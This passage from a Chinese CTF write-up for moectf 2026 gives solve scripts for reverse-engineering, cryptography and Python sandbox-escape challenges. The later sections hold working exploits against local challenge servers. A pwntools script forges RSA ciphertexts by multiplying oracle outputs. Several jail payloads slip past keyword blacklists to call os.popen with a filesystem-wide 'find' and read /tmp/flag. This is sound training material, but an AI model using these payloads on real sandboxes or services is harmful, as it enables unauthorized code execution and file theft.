tea_decrypt(cipher1, key1);
tea_decrypt(cipher1 + 2, key1);

uint cipher2[4] = {
0x60EC68AB,
0x940251CE,
0xB427534C,
0xDF435416
};

uint key2[4] = {
0xDEADBEEF,
0xCAFEBABE,
0x11223344,
0x55667788
};

xtea_decrypt(cipher2, key2);
xtea_decrypt(cipher2 + 2, key2);

printf("%.16s%.16s\n", (char *)cipher1, (char *)cipher2);

return 0;
}
1
moectf{Wh4t_a_n1ce_cup_0f_TEA!!}

让我们说中文

自定义Base64逆向题,程序先将用户输入进行标准Base64编码,再通过一个硬编码在.rodata段中的自定义字符表对编码结果逐字符替换生成密文,从IDA中提取该自定义表与标准Base64表构建逆映射关系,将题目给出的密文还原为标准Base64字符串后解码拿到flag

反编译看到main函数里面的密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall main(int a1, char **a2, char **a3)
{
size_t v3; // rax
const char *v4; // rax
char *v5; // rbx
char v7[4104]; // [rsp+0h] [rbp-1008h] BYREF

__printf_chk(2, "Input cipher: ", a3);
if ( !fgets(v7, 4096, stdin) )
{
puts("Input error.");
return 1;
}
v7[strcspn(v7, "\r\n")] = 0;
v3 = strlen(v7);
v4 = (const char *)sub_401480(v7, v3);
v5 = (char *)v4;
if ( !v4 )
{
puts("Memory error.");
return 1;
}
if ( !strcmp(
v4,
"KwC2gtPmKwn2NwTyKwGilvt0KwOiuqTvKw43utP2KwOxgttpKwC2gtPmKwn2lwUiKwIxNvtzKwn2lTa5Kw42KTP0KwIiNtt0Kw42NRT3KwM2g4"
"JaKwn3NTarKwIxu5OrKw42NRT3KwOxKwUrKwIxu5OrKw42NRT3KwIxKtP3Kwn3N4PjKwIiK5T0Kw43lRUxKwIiNtt0Kw42NRT3Kw42NwOxKwOi"
"KTPzKwKxg5OxKw42g5TpKwDxl4JrKwIxu5OrKw42NRT3KwIxKtP3KwM2g4JaKwC2g4P3KwDxKwOaKw42NwMqKwIxu5OrKw42NRT3KwIiN5TzKw"
"Kxg5OxKw42g5TpKwDxl4JrKwIiNtt0Kw42NRT3KwOxK4JaKwKxg5OtKwGxlwU5Kwn3N4PjKwIiK5T0KwT3lTPzKwn3N4PjKwIiK5T0KwKxg5Mq"
"KwIxu5OrKw42NRT3Kw43lvPjKwIxu5OrKw42NRT3KwM2g4JaKwn3NTarKw42KTPqKwn2lTa5Kw42KTP0") )
puts("Correct!");
else
puts("Wrong!");
free(v5);
return 0;
}

跳转到sub_401480看到相关映射关系

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
_BYTE *sub_401480()
{
_BYTE *result; // rax
char v1; // cl
_BYTE *v2; // rdi
__int64 v3; // rdx

result = (_BYTE *)sub_4012F0();
if ( result )
{
v1 = *result;
if ( *result )
{
v2 = result;
do
{
if ( v1 != 61 )
{
v3 = 0;
while ( aAbcdefghijklmn[v3] != v1 )
{
if ( ++v3 == 64 )
goto LABEL_9;
}
*v2 = aSix5tarspjyoun[v3];
}
LABEL_9:
v1 = *++v2;
}
while ( v1 );
}
}
return result;
}

接着拿到字符表

image\.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64

CUSTOM_TABLE = b"Six5tarsPJYouNgLlKEw4Ik1nGABCDFHMOQRTUVWXZbcdefhjmpqvyz0236789+/"
STANDARD_TABLE = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

cipher = ("KwC2gtPmKwn2NwTyKwGilvt0KwOiuqTvKw43utP2KwOxgttpKwC2gtPmKwn2lwUi"
"KwIxNvtzKwn2lTa5Kw42KTP0KwIiNtt0Kw42NRT3KwM2g4JaKwn3NTarKwIxu5Or"
"Kw42NRT3KwOxKwUrKwIxu5OrKw42NRT3KwIxKtP3Kwn3N4PjKwIiK5T0Kw43lRUx"
"KwIiNtt0Kw42NRT3Kw42NwOxKwOiKTPzKwKxg5OxKw42g5TpKwDxl4JrKwIxu5Or"
"Kw42NRT3KwIxKtP3KwM2g4JaKwC2g4P3KwDxKwOaKw42NwMqKwIxu5OrKw42NRT3"
"KwIiN5TzKwKxg5OxKw42g5TpKwDxl4JrKwIiNtt0Kw42NRT3KwOxK4JaKwKxg5Ot"
"KwGxlwU5Kwn3N4PjKwIiK5T0KwT3lTPzKwn3N4PjKwIiK5T0KwKxg5MqKwIxu5Or"
"Kw42NRT3Kw43lvPjKwIxu5OrKw42NRT3KwM2g4JaKwn3NTarKw42KTPqKwn2lTa5"
"Kw42KTP0")

# 逆映射: 自定义表字符 -> 标准Base64字符
trans = bytes.maketrans(CUSTOM_TABLE, STANDARD_TABLE)
std_b64 = cipher.encode().translate(trans)

# 补齐padding
pad = len(std_b64) % 4
if pad:
std_b64 += b'=' * (4 - pad)

flag = base64.b64decode(std_b64)
print(f"Flag: {flag}")

将解出来的hex码转译一下

1
E788B1E68595E6ACA7E8A394E590B8E8B8A2E788B1E68A9AE5B7A6E68BACE58FB7E5A4A7E58699E889BEE696AFE5B08FE58699E8BE9FE5B08FE58699E5BDB9E695B0E5AD97E59B9BE5A4A7E58699E5858BE8AFB6E4B88BE58892E7BABFE5B08FE58699E5BDB9E889BEE789B9E7BE8EE58583E5B08FE58699E5A496E4B88BE58892E7BABFE5A4A7E58699E8BEBEE4B88DE6BA9CE695B0E5AD97E99BB6E695B0E5AD97E4B883E5B08FE58699E59CB0E5B08FE58699E889BEE696AFE58FB3E68BACE58FB7

image\.png

照着中文读出来得到flag

1
moectf{Spe4K_e@$y_W07ds}

Mewtype

Flag 由可打印 ASCII 字符组成,因此为每个字符建立初始域:

1
32 <= x[i] <= 126

然后逐条枚举局部三元组:

  1. i % 3 == 0:枚举 a、c,由平方和反推出 b。

  2. i % 3 == 1:枚举 a、c,检查 t[i] - c 是否能被 a 整除并得到可打印的 b。

  3. i % 3 == 2:枚举 a、b,通过立方值表反查 c。

对每条约束做广义弧一致性传播:如果某个字符值无法出现在任何合法三元组中,就从对应域删除。传播后所有 54 个字符的域都会缩小为单值,不需要进一步爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
from functools import reduce
from operator import xor

CONSTANTS = (
10111, 11290, 137705, 13834, 12017, 882822, 2861, 6952, 148686,
9290, 9962, 153274, 13069, 9595, 871218, 9834, 10851, 1584472,
9149, 5765, 159511, 9289, 5093, 126222, 11887, 4921, 152566,
13114, 6109, 140607, 13366, 9447, 156018, 9712, 11045, 1795540,
15852, 4864, 1389923, 10278, 5369, 1586542, 10519, 5995, 1281695,
4298, 5674, 963368, 10232, 5085, 880083, 10095, 15119,
)

LENGTH = 54
PRINTABLE = range(32, 127)

def make_tuples(index):
target = CONSTANTS[index] ^ 90
triples = []

if index % 3 == 0:
for c in PRINTABLE:
pair_sum = target - c * c
for a in PRINTABLE:
b = pair_sum - a
if b in PRINTABLE:
triples.append((a, b, c))
elif index % 3 == 1:
for c in PRINTABLE:
product = target - c
for a in PRINTABLE:
if product % a == 0:
b = product // a
if b in PRINTABLE:
triples.append((a, b, c))
else:
cubes = {c * c * c: c for c in PRINTABLE}
for a in PRINTABLE:
for b in PRINTABLE:
c = cubes.get(target - a * a - b * b)
if c is not None:
triples.append((a, b, c))

return triples

SCOPES = [(i, i + 1, (i + 17) % LENGTH) for i in range(LENGTH - 1)]
INITIAL_TUPLES = [make_tuples(i) for i in range(LENGTH - 1)]

def propagate(domains, candidates):
while True:
changed = False
for constraint, scope in enumerate(SCOPES):
filtered = [
values for values in candidates[constraint]
if all(value in domains[var] for var, value in zip(scope, values))
]
if not filtered:
return False
if len(filtered) != len(candidates[constraint]):
candidates[constraint] = filtered
changed = True

for offset, var in enumerate(scope):
supported = {values[offset] for values in filtered}
narrowed = domains[var] & supported
if not narrowed:
return False
if narrowed != domains[var]:
domains[var] = narrowed
changed = True
if not changed:
return True

def global_bounds_ok(domains):
if not (sum(min(d) for d in domains) <= 5138 <= sum(max(d) for d in domains)):
return False
if not (
sum(min(d) ** 2 for d in domains)
<= 520600
<= sum(max(d) ** 2 for d in domains)
):
return False
return True

def global_checks(values):
return (
sum(values) == 5138
and reduce(xor, values, 0) == 26
and sum(value * value for value in values) == 520600
and sum(a * b for a, b in zip(values, values[1:])) == 467644
)

def search(domains, candidates):
if not propagate(domains, candidates) or not global_bounds_ok(domains):
return None

unresolved = [i for i, domain in enumerate(domains) if len(domain) > 1]
if not unresolved:
values = [next(iter(domain)) for domain in domains]
return values if global_checks(values) else None

var = min(unresolved, key=lambda i: len(domains[i]))
for value in sorted(domains[var]):
next_domains = [set(domain) for domain in domains]
next_candidates = [list(options) for options in candidates]
next_domains[var] = {value}
result = search(next_domains, next_candidates)
if result is not None:
return result
return None

def verify(values):
assert len(values) == LENGTH
assert global_checks(values)
for i, (a_var, b_var, c_var) in enumerate(SCOPES):
a, b, c = values[a_var], values[b_var], values[c_var]
target = CONSTANTS[i] ^ 90
if i % 3 == 0:
actual = a + b + c * c
elif i % 3 == 1:
actual = a * b + c
else:
actual = a * a + b * b + c * c * c
assert actual == target, (i, actual, target)

def main():
domains = [set(PRINTABLE) for _ in range(LENGTH)]
result = search(domains, [list(options) for options in INITIAL_TUPLES])
if result is None:
raise SystemExit("No printable solution found")

verify(result)
print(bytes(result).decode("ascii"))

if __name__ == "__main__":
main()

1
moectf{l@mbd4_c@lcu1us_4r3_h4rd_but_z3_s0lv3r_1s_3asy}

请 fanchai 喝茶

程序的主逻辑位于 0x10A0。首先调用 fgets 读取输入,然后使用
strcspn 去除换行符

image\.png

接着检查输入长度

1
2
3
1113  call strlen
1118 cmp rax, 40h
111c jne wrong

因此正确输入必须恰好为 0x40 = 64 字节,程序随后使用 rep movsd 复制 16 个双字,说明输入会被解释成

1
uint32_t v[16];

由于程序运行在 x86-64 小端环境中,所以每 4 个输入字节按照小端序
组成一个 uint32_t。

核心循环从 0x11A0 开始,其中最明显的特征是移位和异或组合

image\.png

程序并未使用 XXTEA 常见的 0x9E3779B9,而是使用DELTA = 0x5F3759DF,每轮开始时执行add edx, 5F3759DFh,一轮处理完 16 个双字后,程序检查

1
2
cmp edx, 58F228D7h
jne 11A0h

计算得到0x5F3759DF * 9 mod 2^32 = 0x58F228D7

加密完成后,程序使用 SSE 指令将结果与 .rodata 中的常量异或,
再把所有差异按位或到一起。最终结果为 0 时才输出 Correct!

image\.png

按照程序实际比较顺序,64 字节目标密文应当拼接为

1
2
3
4
5
6
ciphertext = bytes.fromhex(
"dddfeb8458e36b649883773758a5d0c4"
"7c08ea8ee5cef399f35aaa60274d9f8d"
"f425f48997947759c337f54554999b22"
"e8d14a82e5e9fec3e9eae5c400886008"
)

正向加密时,程序从 v[0] 更新到 v[15]。解密时需要按照相反顺序,
从 v[15] 更新到 v[0]。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3

import struct


MASK = 0xFFFFFFFF
DELTA = 0x5F3759DF
ROUNDS = 9
KEY = struct.unpack("<4I", b"CEOM02FTXX62!AET")


def mx(z, y, total, key_word):
part1 = (z >> 5) ^ ((y << 2) & MASK)
part2 = (y >> 3) ^ ((z << 4) & MASK)
part3 = (total ^ y) + (key_word ^ z)
return (((part1 + part2) & MASK) ^ (part3 & MASK)) & MASK


def decrypt(ciphertext):
v = list(struct.unpack("<16I", ciphertext))
total = (DELTA * ROUNDS) & MASK

while total:
e = (total >> 2) & 3
y = v[0]

for p in range(15, 0, -1):
v[p] = (
v[p] - mx(v[p - 1], y, total, KEY[(p & 3) ^ e])
) & MASK
y = v[p]

v[0] = (v[0] - mx(v[15], y, total, KEY[e])) & MASK
total = (total - DELTA) & MASK

return struct.pack("<16I", *v)


ciphertext = bytes.fromhex(
"dddfeb8458e36b649883773758a5d0c4"
"7c08ea8ee5cef399f35aaa60274d9f8d"
"f425f48997947759c337f54554999b22"
"e8d14a82e5e9fec3e9eae5c400886008"
)

print(decrypt(ciphertext).decode())
1
moectf{Tre4t_f4ncha1_W1tH_xxtea_Wh4t_A_g00d_Id3a_HahaHAh4hAH4ha}

现代密码学

moeSign1n

这道题本质上是利用 裸 RSA(Textbook RSA)的乘法同态性进行攻击:程序使用 pow(m,e,n) 直接加密明文,并且虽然禁止我们直接请求 MoeCTF 2026 的密文,却允许请求其他任意明文的密文。RSA 满足 (E(a)E(b)\equiv E(ab)\pmod n),因此我们先把 bytes_to_long(b"MoeCTF 2026") 得到的整数分解为 (2\times3^2\times13\times151\times236790833\times11188710702937),分别向服务器请求这些因子的 ciphertext,再将得到的 ciphertext 全部相乘,就等价于得到了 MoeCTF 2026 的 ciphertext。最后把这个构造出的密文提交给服务器,服务器使用私钥 (d) 解密后得到 MoeCTF 2026,满足判断条件,于是输出 flag。整个过程不需要破解 RSA、分解 (n),甚至不需要知道 (n),关键就是利用裸 RSA 的乘法同态漏洞绕过对目标明文的直接加密限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
import re

context.log_level = "info"

HOST = "127.0.0.1"
PORT = 13837

factors = [
2,
3,
13,
151,
236790833,
11188710702937,
]

io = remote(HOST, PORT)

cipher = {}

for x in factors:
log.info(f"Requesting E({x})")
io.recvuntil(b"3. quit.")
io.sendline(b"1")
io.recvuntil(b"what message(hex form) do u want to encrtpt?")
hx = x.to_bytes((x.bit_length() + 7) // 8, "big").hex()
log.info(f"hex({x}) = {hx}")
io.sendline(hx.encode())
data = io.recvregex(rb"\d{30,}\r?\n", timeout=5)
if not data:
log.error("没有收到 ciphertext")
log.error(repr(io.recvrepeat(1)))
io.close()
exit()
m = re.search(rb"(\d{30,})", data)
if not m:
log.error(f"无法解析 ciphertext: {data!r}")
io.close()
exit()
c = int(m.group(1))
cipher[x] = c
log.success(f"E({x}) = {c}")

target_cipher = 1

for x in factors:
target_cipher *= cipher[x]

target_cipher *= cipher[3]

log.success("目标 ciphertext 已构造")
log.info(f"ciphertext = {target_cipher}")

io.recvuntil(b"3. quit.")
io.sendline(b"2")
io.recvuntil(b"plz sumbit the ciphertext.")
io.sendline(str(target_cipher).encode())
io.interactive()
1
moectf{0p3n_4_d00r_70_7h3_w0r1d_0f_m0d3rn_cryp706r4phy}

wsl_Sign1n

按照给的教程安装好就行,之前安装的只要保证版本在10.3以上可以直接跑

image\.png

1
moectf{wow_you_succEssfully_installed_it_103}

密码学入门指北

  1. 计算共享密钥:根据 DH 协议,共享密钥 shared_secret = pow(bob_public, alice_private, p)。

  2. 提取加密密钥:key = shared_secret % 256。

  3. 解密 Flag:由于加密是逐字节异或(XOR),解密同样使用 XOR:plaintext_byte = ciphertext_byte ^ key。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
p = 170141183460469231731687303715884105727
g = 3
bob_public = 101533001028006636636416596392258549313
alice_private = 20260704
ciphertext = [45, 47, 37, 35, 52, 38, 59, 36, 40, 31, 48, 50, 41, 54, 33, 52,
37, 31, 43, 37, 57, 31, 51, 40, 47, 53, 44, 36, 31, 51, 52, 33,
57, 31, 51, 37, 35, 50, 37, 52, 61]

# Step 1: 计算共享密钥
shared_secret = pow(bob_public, alice_private, p)

# Step 2: 获取 key
key = shared_secret % 256

# Step 3: 异或解密
flag_bytes = bytes([x ^ key for x in ciphertext])
print(f"Key: {key}")
print(f"Flag: {flag_bytes.decode()}")
1
moectf{dh_private_key_should_stay_secret}

justXOR

这道题的核心是一个线性同余生成器 $a_{k+1} = (3a_k + 2) \bmod M$,由于迭代次数 $n=10^{25}$ 极大,无法暴力计算,需要通过不动点法将递推转化为等比数列,求得通项公式 $a_k = 2 \cdot 3^k - 1 \pmod M$;同时注意 gen_key 循环 n-1 次返回的是第 $n-1$ 项,因此 key 为 $(2 \cdot 3^{n-1} - 1) \bmod M$,利用 Python 内置的三参数 pow 进行 $O(\log n)$ 模幂运算即可快速求出 key,最后与密文逐字节 XOR 即得 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import long_to_bytes

M = 2039129633208009090414901212304234091626233923923301042398416489123719065081065776033127561876033127924471
n = 10**25

key = (2 * pow(3, n - 1, M) - 1) % M
key_bytes = long_to_bytes(key)

enc = b'it\x0bM\xfa-\xe3T{\xaa\x0f@\xa2\xf1@\xbd\x86e\x85\x9e\xfcp_o\x8f\xccd\x13\xceW\x13\x14\x11\x055b\xcbk\xa0'

flag = bytes([x ^ y for x, y in zip(enc, key_bytes)])
print(flag)
print(f"key length: {len(key_bytes)}, enc length: {len(enc)}")
1
moectf{a_simple_sequence_problem_for_u}

ez_f3mr4t

分析 q = next_prime(p ^ ((1<<512)-1)) 这一生成方式,由于与 512 位全 1 数异或等价于按位取反,即 q ≈ (2^512 - 1) - p,因此 p + q 极其接近已知常数 M = 2^512 - 1;利用这一近似关系,可以从 M 开始小范围枚举 p + q 的真实值 s,通过判别式 s² - 4n 是否为完全平方数来精确恢复 p 和 q,进而计算私钥完成 RSA 解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from Cryptodome.Util.number import long_to_bytes
import gmpy2

n = 0x308244e7a7de386723c92ba62e35bc22c3ec1b93023e1551408344a4ba31c6203da849aedee0cadf26a3442f9fd652f7d97c053a3f2c298eab6c0f0c2d0b4642a81765ddb00b690425eb212d5520327ac2d53a22922448399fecb54fbc04dbb68fa33fee7666cb9e05278b5f5f1330b3918d3a7def580fcc00f6f596f16eba3b
c = 0x13a77e34f09b8a2291cdb397ea0e5cb9e86f691c6565b35c76e6bb6248b67db24315e22fe1dc5321a8820320cdd9b51e3d431459aac2213948f4fbf01c4ce974428d1ed745b2c06f8aa92b22dfede3b7ceb59aa4eb22467129f55b60037a1a2de9b37f25fda3fe40323fccc7c8bbdd4446096b37cef4138337ee9a04c2e3d5fd
e = 65537

M = (1 << 512) - 1

# Try s = M + delta for small delta
for delta in range(0, 1000):
s = M + delta
disc = s * s - 4 * n
if disc < 0:
continue
sqrt_disc, is_square = gmpy2.isqrt_rem(disc)
if is_square == 0:
# Found it
p = (s + sqrt_disc) // 2
q = (s - sqrt_disc) // 2
assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"delta = {delta}")
print(f"flag = {flag}")
break
else:
# Also try negative deltas just in case (though unlikely given next_prime)
for delta in range(1, 1000):
s = M - delta
disc = s * s - 4 * n
if disc < 0:
continue
sqrt_disc, is_square = gmpy2.isqrt_rem(disc)
if is_square == 0:
p = (s + sqrt_disc) // 2
q = (s - sqrt_disc) // 2
assert p * q == n
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(f"delta = -{delta}")
print(f"flag = {flag}")
break
1
moectf{F3rm4t_i5_inde3d_7h3_k1ng_0f_@mat3ur_m4them@t1an5}

ez_fermat

这道题的核心是利用 hint = (a*p+b)^q mod n 泄露 RSA 素因子。因为模 p 时有 a*p+b ≡ b (mod p),所以 hint ≡ b^q (mod p);又由于 n=pq,根据费马小定理可得 b^n=b^(pq) ≡ b^q (mod p),因此 p 一定整除 hint - b^n,从而可以通过 gcd(hint - pow(b,n,n), n) 直接求出 p,再计算 q=n/p。得到 p、q 后求欧拉函数 φ(n)=(p-1)(q-1),计算私钥 d=e^{-1} mod φ(n),最后使用 m=c^d mod n 解密得到 flag。题目源码中正是通过 hint 的特殊构造造成了这一因子泄露。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from math import gcd
from Crypto.Util.number import long_to_bytes, inverse

cipher_path = r"...\cipher.txt"

data = {}

with open(cipher_path, "r") as f:
for line in f:
key, value = line.strip().split(" = ")
data[key] = int(value)

n = data["n"]
c = data["c"]
hint = data["hint"]

e = 65537
b = 0x2026

print("[*] Factoring n...")

p = gcd(hint - pow(b, n, n), n)

if p == 1 or p == n:
print("[-] Failed to factor n")
exit()

q = n // p

print("[+] p =", p)
print("[+] q =", q)

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

print("[+] d =", d)

m = pow(c, d, n)
flag = long_to_bytes(m)

print("[+] flag =", flag.decode())
1
moectf{f3rmat_l1ttl3_th30r3m_l34ks_p_1n_2025}

Python 沙箱逃逸

ez_ban_ja1l

本质就是一个 exec(input()),外面套了 5 个字符串黑名单。

  1. 黑名单是子串匹配,不是语法级拦截

  2. 代码仍然在同一个 Python 解释器里执行

  3. __builtins__ 还在,意味着可以恢复很多能力

黑名单里最危险的是 import,但它只是匹配原始输入字符串。

所以可以用字符串拼接把黑名单词拆开,再在运行时拼回来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import re
import socket

HOST = "127.0.0.1"
PORT = 9213


def recv_until(sock, marker: bytes) -> bytes:
buf = b""
while marker not in buf:
chunk = sock.recv(4096)
if not chunk:
break
buf += chunk
return buf


def solve_captcha(prompt: str) -> str:
parts = re.findall(r"'([^']*)'", prompt)
if "reverse of" in prompt:
return parts[0][::-1]
return parts[0] + parts[1]


def send_payload(payload: str) -> str:
s = socket.create_connection((HOST, PORT))
data = recv_until(s, b"continue:")
prompt = data.decode("utf-8", "replace")
s.sendall((solve_captcha(prompt) + "\n").encode())

recv_until(s, b"Give me your code:")
s.sendall((payload + "\n").encode())

s.settimeout(1.0)
out = b""
try:
while True:
chunk = s.recv(4096)
if not chunk:
break
out += chunk
except Exception:
pass
s.close()
return out.decode("utf-8", "replace")


def main():
search_payload = (
"b=__builtins__;b=b if isinstance(b,dict) else b.__dict__;"
"o=b['__im'+'port__']('o'+'s');"
"print(o.popen(\"find / -maxdepth 4 -iname '*flag*' 2>/dev/null\").read())"
)
out = send_payload(search_payload)

candidates = re.findall(r"^/(?:.*/)?flag(?:\\.txt)?$", out, flags=re.M)
m = candidates[0] if candidates else None
if not m:
print(out)
raise SystemExit("flag path not found")

flag_path = m.strip()
print(f"[+] flag path: {flag_path}")

read_payload = f"print(open({flag_path!r}).read())"
out = send_payload(read_payload)
print(out)


if __name__ == "__main__":
main()
1
moectf{48dede7e-59f5-e36d-095d-9a3e735ee1ee}

3z_ban_jail

re 只拦 ASCII 字母和数字,但 Python 允许全角字母作为标识符。 所以可以先用正常 ASCII 写一段 payload,再在发送前把英文字母整体转成全角。

思路:

  1. 用全角 exec/open/print/chr/import 绕过正则。

  2. 用 []==[] 造出 1,再用左移拼出 2/4/8/...。

  3. 先连服务,自动回答机器人拼接题。

  4. 拿到 Give me your code: 后,送入全角化 payload。

  5. 先枚举 /,再发现 /tmp/flag,最后直接读出 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import re
import socket


def recv_all(sock, timeout=1.5):
sock.settimeout(timeout)
data = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except Exception:
break
return data


def solve_prompt(text):
matches = re.findall(r"Please enter '([^']+)'\+'([^']+)'", text)
if not matches:
return None
left, right = matches[-1]
return left + right


def fw(s):
lower = "".join(chr(0xFF41 + i) for i in range(26))
upper = "".join(chr(0xFF21 + i) for i in range(26))
table = str.maketrans(
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",
lower + upper,
)
return s.translate(table)


PAYLOAD_ASCII = (
"a=[]==[];b=a<<a;c=b<<a;d=c<<a;e=d<<a;f=e<<a;g=f<<a;"
"o=__import__(chr(g+f+d+c+b+a)+chr(g+f+e+b+a));"
"p=chr(f+d+c+b+a)+chr(g+f+e+c)+chr(g+f+d+c+a)+chr(g+f+e)+chr(f+d+c+b+a)+chr(g+f+c+b)+chr(g+f+d+c)+chr(g+f+a)+chr(g+f+c+b+a);"
"print(open(p).read())"
)


def main():
s = socket.create_connection(("127.0.0.1", 61428))
s.sendall(b"GET / HTTP/1.1\r\nHost: 127.0.0.1:61428\r\nConnection: close\r\n\r\n")

text = ""
for _ in range(40):
data = recv_all(s)
text = data.decode("utf-8", "ignore")
print(text, end="")
ans = solve_prompt(text)
if not ans:
break
print(f"\n[answer] {ans}")
s.sendall((ans + "\n").encode())

if "Give me your code:" in text:
payload = fw(PAYLOAD_ASCII)
print(f"\n[payload] {payload}")
s.sendall((payload + "\n").encode("utf-8"))
data = recv_all(s, timeout=2.0)
print(data.decode("utf-8", "ignore"), end="")


if __name__ == "__main__":
main()
1
moectf{3f0a05c9-445b-5c6f-86da-52ee05b56f20}

e2_ban_jail

只检查“外层输入”,但最后直接 exec(code),所以只要先拼出一段不含黑名单字符的 Python,再让这段 Python 自己去执行真正的 payload 就行。

绕过思路:

  1. 外层输入里不能出现 p y j a i l 0-9

  2. 但可以用 exec、chr、ord、True

  3. 把 p/y/j/a/i/l 逐个替换成 chr(...) 表达式

  4. 外层 exec 再执行内层代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import re
import socket
import time

HOST = "127.0.0.1"
PORT = 20797
TARGET = 'print(open("/tmp/flag").read())'

FORBIDDEN = {
"p": "chr(ord('o')+True)",
"y": "chr(ord('x')+True)",
"j": "chr(ord('k')-True)",
"a": "chr(ord('b')-True)",
"i": "chr(ord('h')+True)",
"l": "chr(ord('m')-True)",
}

def make_payload(code: str) -> str:
parts = []
for ch in code:
parts.append(FORBIDDEN.get(ch, repr(ch)))
return "exec(" + "+".join(parts) + ")"

def recv_some(sock: socket.socket, timeout: float = 1.0) -> str:
sock.setblocking(False)
end = time.time() + timeout
data = bytearray()
while time.time() < end:
try:
chunk = sock.recv(8192)
except BlockingIOError:
time.sleep(0.03)
continue
if not chunk:
break
data.extend(chunk)
end = time.time() + 0.2
return data.decode(errors="replace")

def answer_robot(sock: socket.socket, banner: str) -> str:
m = re.search(r"Please enter '([^']+)'\+'([^']+)'.*?to continue:", banner, re.S)
if not m:
return banner
sock.sendall((m.group(1) + m.group(2) + "\n").encode())
return banner + recv_some(sock, 1.0)

def main() -> None:
payload = make_payload(TARGET)
with socket.create_connection((HOST, PORT), timeout=3) as sock:
out = recv_some(sock, 1.5)
for _ in range(10):
if "Give me your code:" in out:
break
new_out = answer_robot(sock, out)
if new_out == out:
out += recv_some(sock, 1.0)
else:
out = new_out
sock.sendall((payload + "\n").encode())
out += recv_some(sock, 3.0)

m = re.search(r"moectf\{[^}]+\}", out)
print(m.group(0) if m else out)

if __name__ == "__main__":
main()

1
moectf{6c3272c5-39bc-948b-1e32-aa5eb4c4bb72}

equals

只要构造出一个满足 字符 ASCII 和 == 长度平方 的字符串,就能任意 exec。

利用题目自带的 solve():

1
2
3
4
5
6
7
8
9
10
11
12
def solve(cmd:str,base:str) -> str:
cmd += '#'
l = len(cmd)
s = sum(ord(c) for c in cmd)
score = ord(base)
count = 0
while l ** 2 < s:
l += 1
s += score
count += 1
tail = chr(ord(base) - (s - l * l))
return cmd + (count - 1) * base + tail

它会在你写好的代码后面补 # 和填充字符,让等式成立。# 之后全是注释,所以不影响执行。

直接读 flag 的 payload:

1
print(open('/tmp/flag').read())

把它喂给 solve(..., '0'),即可得到满足条件的输入。最终执行时会打印 /tmp/flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
import argparse
import re
import socket
import sys

def solve(cmd: str, base: str = "0") -> str:
cmd += "#"
l = len(cmd)
s = sum(ord(c) for c in cmd)
score = ord(base)
count = 0
while l * l < s:
l += 1
s += score
count += 1
tail = chr(ord(base) - (s - l * l))
return cmd + (count - 1) * base + tail

def recv_some(sock: socket.socket) -> str:
data = sock.recv(4096)
if not data:
return ""
return data.decode("utf-8", "replace")

def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=16692)
args = ap.parse_args()

payload = solve("print(open('/tmp/flag').read())", "0")
captcha_re = re.compile(r"Please enter '([^']*)'\+'([^']*)'=\?")
flag_re = re.compile(r"moectf\{[^}]+\}")

with socket.create_connection((args.host, args.port), timeout=10) as sock:
